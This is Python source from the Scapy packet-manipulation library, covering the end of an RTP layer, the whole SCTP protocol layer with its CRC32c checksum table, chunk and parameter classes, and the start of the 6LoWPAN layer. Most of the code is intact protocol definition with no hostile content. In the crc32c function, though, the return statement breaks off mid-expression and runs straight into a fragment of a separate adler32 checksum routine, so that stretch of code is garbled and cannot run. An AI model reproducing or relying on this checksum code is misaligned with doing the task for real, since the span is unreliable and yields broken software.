name = "RTP extension" fields_desc = [ShortField("header_id", 0), FieldLenField("header_len", None, count_of="header", fmt="H"), # noqa: E501 FieldListField('header', [], IntField("hdr", 0), count_from=lambda pkt: pkt.header_len)] # noqa: E501 class RTP(Packet): name = "RTP" fields_desc = [BitField('version', 2, 2), BitField('padding', 0, 1), BitField('extension', 0, 1), BitFieldLenField('numsync', None, 4, count_of='sync'), BitField('marker', 0, 1), BitEnumField('payload_type', 0, 7, _rtp_payload_types), ShortField('sequence', 0), IntField('timestamp', 0), IntField('sourcesync', 0), FieldListField('sync', [], IntField("id", 0), count_from=lambda pkt:pkt.numsync)] # noqa: E501 bind_layers(RTP, RTPExtension, extension=1) ================================================ FILE: scapy/layers/sctp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) 6WIND """ SCTP (Stream Control Transmission Protocol). """ import struct from scapy.compat import orb, raw from scapy.volatile import RandBin from scapy.config import conf from scapy.packet import Packet, bind_layers from scapy.fields import ( BitField, ByteEnumField, Field, FieldLenField, FieldListField, IPField, IntEnumField, IntField, MultipleTypeField, PacketLenField, PacketListField, PadField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, XByteField, XIntField, XShortField, ) from scapy.data import SCTP_SERVICES from scapy.layers.inet import IP, IPerror from scapy.layers.inet6 import IP6Field, IPv6, IPerror6, nh_clserror IPPROTO_SCTP = 132 # crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41) crc32c_table = [ 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, ] def crc32c(buf): crc = 0xffffffff for c in buf: crc = (crc >> 8) ^ crc32c_table[(crc ^ (orb(c))) & 0xFF] crc = (~crc) & 0xffffffff # reverse endianness return struct.unpack(">I", struct.pack("> 16) & 0xffff print(s1, s2) for c in buf: print(orb(c)) s1 = (s1 + orb(c)) % BASE s2 = (s2 + s1) % BASE print(s1, s2) return (s2 << 16) + s1 def sctp_checksum(buf): return update_adler32(1, buf) """ hmactypes = { 0: "Reserved1", 1: "SHA-1", 2: "Reserved2", 3: "SHA-256", } sctpchunktypescls = { 0: "SCTPChunkData", 1: "SCTPChunkInit", 2: "SCTPChunkInitAck", 3: "SCTPChunkSACK", 4: "SCTPChunkHeartbeatReq", 5: "SCTPChunkHeartbeatAck", 6: "SCTPChunkAbort", 7: "SCTPChunkShutdown", 8: "SCTPChunkShutdownAck", 9: "SCTPChunkError", 10: "SCTPChunkCookieEcho", 11: "SCTPChunkCookieAck", 14: "SCTPChunkShutdownComplete", 15: "SCTPChunkAuthentication", 64: "SCTPChunkIData", 130: "SCTPChunkReConfig", 132: "SCTPChunkPad", 0x80: "SCTPChunkAddressConfAck", 192: "SCTPChunkForwardTSN", 0xc1: "SCTPChunkAddressConf", 194: "SCTPChunkIForwardTSN", } sctpchunktypes = { 0: "data", 1: "init", 2: "init-ack", 3: "sack", 4: "heartbeat-req", 5: "heartbeat-ack", 6: "abort", 7: "shutdown", 8: "shutdown-ack", 9: "error", 10: "cookie-echo", 11: "cookie-ack", 14: "shutdown-complete", 15: "authentication", 64: "i-data", 130: "re-config", 132: "pad", 0x80: "address-configuration-ack", 192: "forward-tsn", 0xc1: "address-configuration", 194: "i-forward-tsn", } sctpchunkparamtypescls = { 1: "SCTPChunkParamHeartbeatInfo", 5: "SCTPChunkParamIPv4Addr", 6: "SCTPChunkParamIPv6Addr", 7: "SCTPChunkParamStateCookie", 8: "SCTPChunkParamUnrocognizedParam", 9: "SCTPChunkParamCookiePreservative", 11: "SCTPChunkParamHostname", 12: "SCTPChunkParamSupportedAddrTypes", 13: "SCTPChunkParamOutgoingSSNResetRequest", 14: "SCTPChunkParamIncomingSSNResetRequest", 15: "SCTPChunkParamSSNTSNResetRequest", 16: "SCTPChunkParamReConfigurationResponse", 17: "SCTPChunkParamAddOutgoingStreamRequest", 18: "SCTPChunkParamAddIncomingStreamRequest", 0x8000: "SCTPChunkParamECNCapable", 0x8002: "SCTPChunkParamRandom", 0x8003: "SCTPChunkParamChunkList", 0x8004: "SCTPChunkParamRequestedHMACFunctions", 0x8008: "SCTPChunkParamSupportedExtensions", 0xc000: "SCTPChunkParamFwdTSN", 0xc001: "SCTPChunkParamAddIPAddr", 0xc002: "SCTPChunkParamDelIPAddr", 0xc003: "SCTPChunkParamErrorIndication", 0xc004: "SCTPChunkParamSetPrimaryAddr", 0xc005: "SCTPChunkParamSuccessIndication", 0xc006: "SCTPChunkParamAdaptationLayer", } sctpchunkparamtypes = { 1: "heartbeat-info", 5: "IPv4", 6: "IPv6", 7: "state-cookie", 8: "unrecognized-param", 9: "cookie-preservative", 11: "hostname", 12: "addrtypes", 13: "out-ssn-reset-req", 14: "in-ssn-reset-req", 15: "ssn-tsn-reset-req", 16: "re-configuration-response", 17: "add-outgoing-stream-req", 18: "add-incoming-stream-req", 0x8000: "ecn-capable", 0x8002: "random", 0x8003: "chunk-list", 0x8004: "requested-HMAC-functions", 0x8008: "supported-extensions", 0xc000: "fwd-tsn-supported", 0xc001: "add-IP", 0xc002: "del-IP", 0xc003: "error-indication", 0xc004: "set-primary-addr", 0xc005: "success-indication", 0xc006: "adaptation-layer", } # SCTP header # Dummy class to guess payload type (variable parameters) class _SCTPChunkGuessPayload: def default_payload_class(self, p): if len(p) < 4: return conf.padding_layer else: t = orb(p[0]) return globals().get(sctpchunktypescls.get(t, "Raw"), conf.raw_layer) # noqa: E501 class SCTP(_SCTPChunkGuessPayload, Packet): fields_desc = [ShortEnumField("sport", 0, SCTP_SERVICES), ShortEnumField("dport", 0, SCTP_SERVICES), XIntField("tag", 0), XIntField("chksum", None), ] def answers(self, other): if not isinstance(other, SCTP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 return 1 def post_build(self, p, pay): p += pay if self.chksum is None: crc = crc32c(raw(p)) p = p[:8] + struct.pack(">I", crc) + p[12:] return p class SCTPerror(SCTP): name = "SCTP in ICMP" def answers(self, other): if not isinstance(other, SCTP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 return 1 def mysummary(self): return Packet.mysummary(self) nh_clserror[IPPROTO_SCTP] = SCTPerror # SCTP Chunk variable params resultcode = { 0: "Success - Nothing to do", 1: "Success - Performed", 2: "Denied", 3: "Error - Wrong SSN", 4: "Error - Request already in progress", 5: "Error - Bad Sequence Number", 6: "In Progress" } class ChunkParamField(PacketListField): def __init__(self, name, default, count_from=None, length_from=None): PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from) # noqa: E501 def m2i(self, p, m): cls = conf.raw_layer if len(m) >= 4: t = orb(m[0]) * 256 + orb(m[1]) cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), conf.raw_layer) # noqa: E501 return cls(m) # dummy class to avoid Raw() after Chunk params class _SCTPChunkParam: def extract_padding(self, s): return b"", s[:] class SCTPChunkParamHeartbeatInfo(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 1, sctpchunkparamtypes), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x:x + 4), PadField(StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 5, sctpchunkparamtypes), ShortField("len", 8), IPField("addr", "127.0.0.1"), ] class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 6, sctpchunkparamtypes), ShortField("len", 20), IP6Field("addr", "::1"), ] class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 7, sctpchunkparamtypes), FieldLenField("len", None, length_of="cookie", adjust=lambda pkt, x:x + 4), PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 8, sctpchunkparamtypes), FieldLenField("len", None, length_of="param", adjust=lambda pkt, x:x + 4), PadField(StrLenField("param", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 9, sctpchunkparamtypes), ShortField("len", 8), XIntField("sug_cookie_inc", None), ] class SCTPChunkParamHostname(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 11, sctpchunkparamtypes), FieldLenField("len", None, length_of="hostname", adjust=lambda pkt, x:x + 4), PadField(StrLenField("hostname", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 12, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr_type_list", adjust=lambda pkt, x:x + 4), PadField(FieldListField("addr_type_list", ["IPv4"], ShortEnumField("addr_type", 5, sctpchunkparamtypes), # noqa: E501 length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamOutSSNResetReq(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 13, sctpchunkparamtypes), FieldLenField("len", None, length_of="stream_num_list", adjust=lambda pkt, x:x + 16), XIntField("re_conf_req_seq_num", None), XIntField("re_conf_res_seq_num", None), XIntField("tsn", None), PadField(FieldListField("stream_num_list", [], XShortField("stream_num", None), length_from=lambda pkt: pkt.len - 16), 4, padwith=b"\x00"), ] class SCTPChunkParamInSSNResetReq(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 14, sctpchunkparamtypes), FieldLenField("len", None, length_of="stream_num_list", adjust=lambda pkt, x:x + 8), XIntField("re_conf_req_seq_num", None), PadField(FieldListField("stream_num_list", [], XShortField("stream_num", None), length_from=lambda pkt: pkt.len - 8), 4, padwith=b"\x00"), ] class SCTPChunkParamSSNTSNResetReq(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 15, sctpchunkparamtypes), XShortField("len", 8), XIntField("re_conf_req_seq_num", None), ] class SCTPChunkParamReConfigRes(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 16, sctpchunkparamtypes), XShortField("len", 12), XIntField("re_conf_res_seq_num", None), IntEnumField("result", None, resultcode), XIntField("sender_next_tsn", None), XIntField("receiver_next_tsn", None), ] class SCTPChunkParamAddOutgoingStreamReq(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 17, sctpchunkparamtypes), XShortField("len", 12), XIntField("re_conf_req_seq_num", None), XShortField("num_new_stream", None), XShortField("reserved", None), ] class SCTPChunkParamAddIncomingStreamReq(SCTPChunkParamAddOutgoingStreamReq): type = 18 class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8000, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamRandom(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8002, sctpchunkparamtypes), FieldLenField("len", None, length_of="random", adjust=lambda pkt, x:x + 4), PadField(StrLenField("random", RandBin(32), length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamChunkList(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8003, sctpchunkparamtypes), FieldLenField("len", None, length_of="chunk_list", adjust=lambda pkt, x:x + 4), PadField(FieldListField("chunk_list", None, ByteEnumField("chunk", None, sctpchunktypes), # noqa: E501 length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamRequestedHMACFunctions(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8004, sctpchunkparamtypes), FieldLenField("len", None, length_of="HMAC_functions_list", adjust=lambda pkt, x:x + 4), PadField(FieldListField("HMAC_functions_list", ["SHA-1"], ShortEnumField("HMAC_function", 1, hmactypes), # noqa: E501 length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamSupportedExtensions(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8008, sctpchunkparamtypes), FieldLenField("len", None, length_of="supported_extensions", adjust=lambda pkt, x:x + 4), PadField(FieldListField("supported_extensions", ["authentication", "address-configuration", "address-configuration-ack"], ByteEnumField("supported_extensions", # noqa: E501 None, sctpchunktypes), length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc000, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamAddIPAddr(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc001, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr", adjust=lambda pkt, x:x + 12), XIntField("correlation_id", None), ShortEnumField("addr_type", 5, sctpchunkparamtypes), FieldLenField("addr_len", None, length_of="addr", adjust=lambda pkt, x:x + 4), MultipleTypeField( [ (IPField("addr", "127.0.0.1"), lambda p: p.addr_type == 5), (IP6Field("addr", "::1"), lambda p: p.addr_type == 6), ], StrFixedLenField("addr", "", length_from=lambda pkt: pkt.addr_len)) ] class SCTPChunkParamDelIPAddr(SCTPChunkParamAddIPAddr): type = 0xc002 class SCTPChunkParamErrorIndication(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc003, sctpchunkparamtypes), FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 8), XIntField("correlation_id", None), PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamSetPrimaryAddr(SCTPChunkParamAddIPAddr): type = 0xc004 class SCTPChunkParamSuccessIndication(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc005, sctpchunkparamtypes), ShortField("len", 8), XIntField("correlation_id", None), ] class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc006, sctpchunkparamtypes), ShortField("len", 8), XIntField("indication", None), ] # SCTP Chunks # Dictionary taken from: http://www.iana.org/assignments/sctp-parameters/sctp-parameters.xhtml # noqa: E501 SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS = { 0: 'Reserved', 1: 'IUA', 2: 'M2UA', 3: 'M3UA', 4: 'SUA', 5: 'M2PA', 6: 'V5UA', 7: 'H.248', 8: 'BICC/Q.2150.3', 9: 'TALI', 10: 'DUA', 11: 'ASAP', 12: 'ENRP', 13: 'H.323', 14: 'Q.IPC/Q.2150.3', 15: 'SIMCO', 16: 'DDP Segment Chunk', 17: 'DDP Stream Session Control', 18: 'S1AP', 19: 'RUA', 20: 'HNBAP', 21: 'ForCES-HP', 22: 'ForCES-MP', 23: 'ForCES-LP', 24: 'SBc-AP', 25: 'NBAP', 26: 'Unassigned', 27: 'X2AP', 28: 'IRCP', 29: 'LCS-AP', 30: 'MPICH2', 31: 'SABP', 32: 'FGP', 33: 'PPP', 34: 'CALCAPP', 35: 'SSP', 36: 'NPMP-CONTROL', 37: 'NPMP-DATA', 38: 'ECHO', 39: 'DISCARD', 40: 'DAYTIME', 41: 'CHARGEN', 42: '3GPP RNA', 43: '3GPP M2AP', 44: '3GPP M3AP', 45: 'SSH/SCTP', 46: 'Diameter/SCTP', 47: 'Diameter/DTLS/SCTP', 48: 'R14P', 49: 'Unassigned', 50: 'WebRTC DCEP', 51: 'WebRTC String', 52: 'WebRTC Binary Partial', 53: 'WebRTC Binary', 54: 'WebRTC String Partial', 55: '3GPP PUA', 56: 'WebRTC String Empty', 57: 'WebRTC Binary Empty' } class _SCTPChunkDataField(PacketLenField): """PacketLenField that dispatches using bind_layers bindings.""" def m2i(self, pkt, m): # Only dissect complete messages if pkt.beginning != 1 or pkt.ending != 1: return conf.raw_layer(load=m) # Check bind_layers bindings for fval, cls in pkt.payload_guess: if all( hasattr(pkt, k) and v == pkt.getfieldval(k) for k, v in fval.items() ): return cls(m) return conf.raw_layer(load=m) class SCTPChunkData(_SCTPChunkGuessPayload, Packet): # TODO : add a padding function in post build if this layer is used to generate SCTP chunk data # noqa: E501 fields_desc = [ByteEnumField("type", 0, sctpchunktypes), BitField("reserved", None, 4), BitField("delay_sack", 0, 1), BitField("unordered", 0, 1), BitField("beginning", 0, 1), BitField("ending", 0, 1), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x:x + 16), # noqa: E501 XIntField("tsn", None), XShortField("stream_id", None), XShortField("stream_seq", None), IntEnumField("proto_id", None, SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS), # noqa: E501 PadField(_SCTPChunkDataField("data", None, conf.raw_layer, length_from=lambda pkt: pkt.len - 16), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkIData(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 64, sctpchunktypes), BitField("reserved", None, 4), BitField("delay_sack", 0, 1), # immediate bit BitField("unordered", 0, 1), BitField("beginning", 0, 1), BitField("ending", 0, 1), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x:x + 20), XIntField("tsn", None), XShortField("stream_id", None), XShortField("reserved_16", None), XIntField("message_id", None), MultipleTypeField( [ (IntEnumField("ppid_fsn", None, SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS), lambda pkt: pkt.beginning == 1), (XIntField("ppid_fsn", None), lambda pkt: pkt.beginning == 0), ], XIntField("ppid_fsn", None)), PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len - 20), 4, padwith=b"\x00"), ] class SCTPForwardSkip(_SCTPChunkParam, Packet): fields_desc = [ShortField("stream_id", None), ShortField("stream_seq", None) ] class SCTPChunkForwardTSN(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 192, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="skips", adjust=lambda pkt, x:x + 8), IntField("new_tsn", None), ChunkParamField("skips", None, length_from=lambda pkt: pkt.len - 8) ] class SCTPIForwardSkip(_SCTPChunkParam, Packet): fields_desc = [ShortField("stream_id", None), BitField("reserved", None, 15), BitField("unordered", None, 1), IntField("message_id", None) ] class SCTPChunkIForwardTSN(SCTPChunkForwardTSN): type = 194 class SCTPChunkInit(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 20), # noqa: E501 XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 20), # noqa: E501 ] class SCTPChunkInitAck(SCTPChunkInit): type = 2 class GapAckField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def i2m(self, pkt, x): if x is None: return b"\0\0\0\0" sta, end = [int(e) for e in x.split(':')] args = tuple([">HH", sta, end]) return struct.pack(*args) def m2i(self, pkt, x): return "%d:%d" % (struct.unpack(">HH", x)) def any2i(self, pkt, x): if isinstance(x, tuple) and len(x) == 2: return "%d:%d" % (x) return x class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 3, sctpchunktypes), XByteField("flags", None), ShortField("len", None), XIntField("cumul_tsn_ack", None), IntField("a_rwnd", None), FieldLenField("n_gap_ack", None, count_of="gap_ack_list"), FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"), FieldListField("gap_ack_list", [], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack), # noqa: E501 FieldListField("dup_tsn_list", [], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn), # noqa: E501 ] def post_build(self, p, pay): if self.len is None: p = p[:2] + struct.pack(">H", len(p)) + p[4:] return p + pay class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 4, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 4), # noqa: E501 ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 4), # noqa: E501 ] class SCTPChunkHeartbeatAck(SCTPChunkHeartbeatReq): type = 5 class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 6, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 4), # noqa: E501 PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 7, sctpchunktypes), XByteField("flags", None), ShortField("len", 8), XIntField("cumul_tsn_ack", None), ] class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 8, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkError(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 9, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 4), # noqa: E501 PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkCookieEcho(SCTPChunkError): fields_desc = [ByteEnumField("type", 10, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="cookie", adjust=lambda pkt, x:x + 4), # noqa: E501 PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 11, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 14, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), ShortField("len", 4), ] class SCTPChunkAuthentication(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 15, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="HMAC", adjust=lambda pkt, x:x + 8), ShortField("shared_key_id", None), ShortField("HMAC_function", None), PadField(StrLenField("HMAC", "", length_from=lambda pkt: pkt.len - 8), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkAddressConf(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 0xc1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 8), IntField("seq", 0), ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 8), # noqa: E501 ] class SCTPChunkReConfig(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 130, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 4), ChunkParamField("params", None, length_from=lambda pkt: pkt.len - 4), ] class SCTPChunkPad(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 132, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="padding", adjust=lambda pkt, x:x + 8), PadField(StrLenField("padding", None, length_from=lambda pkt: pkt.len - 8), 4, padwith=b"\x00") ] class SCTPChunkAddressConfAck(SCTPChunkAddressConf): type = 0x80 bind_layers(IP, SCTP, proto=IPPROTO_SCTP) bind_layers(IPerror, SCTPerror, proto=IPPROTO_SCTP) bind_layers(IPv6, SCTP, nh=IPPROTO_SCTP) bind_layers(IPerror6, SCTPerror, proto=IPPROTO_SCTP) ================================================ FILE: scapy/layers/sixlowpan.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Cesar A. Bernardini # Intern at INRIA Grand Nancy Est # Copyright (C) Gabriel Potter """ 6LoWPAN Protocol Stack ====================== This implementation follows the next documents: - Transmission of IPv6 Packets over IEEE 802.15.4 Networks: RFC 4944 - Compression Format for IPv6 Datagrams in Low Power and Lossy networks (6LoWPAN): RFC 6282 - RFC 4291 +----------------------------+-----------------------+ | Application | Application Protocols | +----------------------------+------------+----------+ | Transport | UDP | TCP | +----------------------------+------------+----------+ | Network | IPv6 | +----------------------------+-----------------------+ | | LoWPAN | +----------------------------+-----------------------+ | Data Link Layer | IEEE 802.15.4 MAC | +----------------------------+-----------------------+ | Physical | IEEE 802.15.4 PHY | +----------------------------+-----------------------+ Note that: - Only IPv6 is supported - LoWPAN is in the middle between network and data link layer The Internet Control Message protocol v6 (ICMPv6) is used for control messaging. Adaptation between full IPv6 and the LoWPAN format is performed by routers at the edge of 6LoWPAN islands. A LoWPAN support addressing; a direct mapping between the link-layer address and the IPv6 address is used for achieving compression. Known Issues: * Unimplemented context information * Unimplemented IPv6 extensions fields """ import socket import struct from 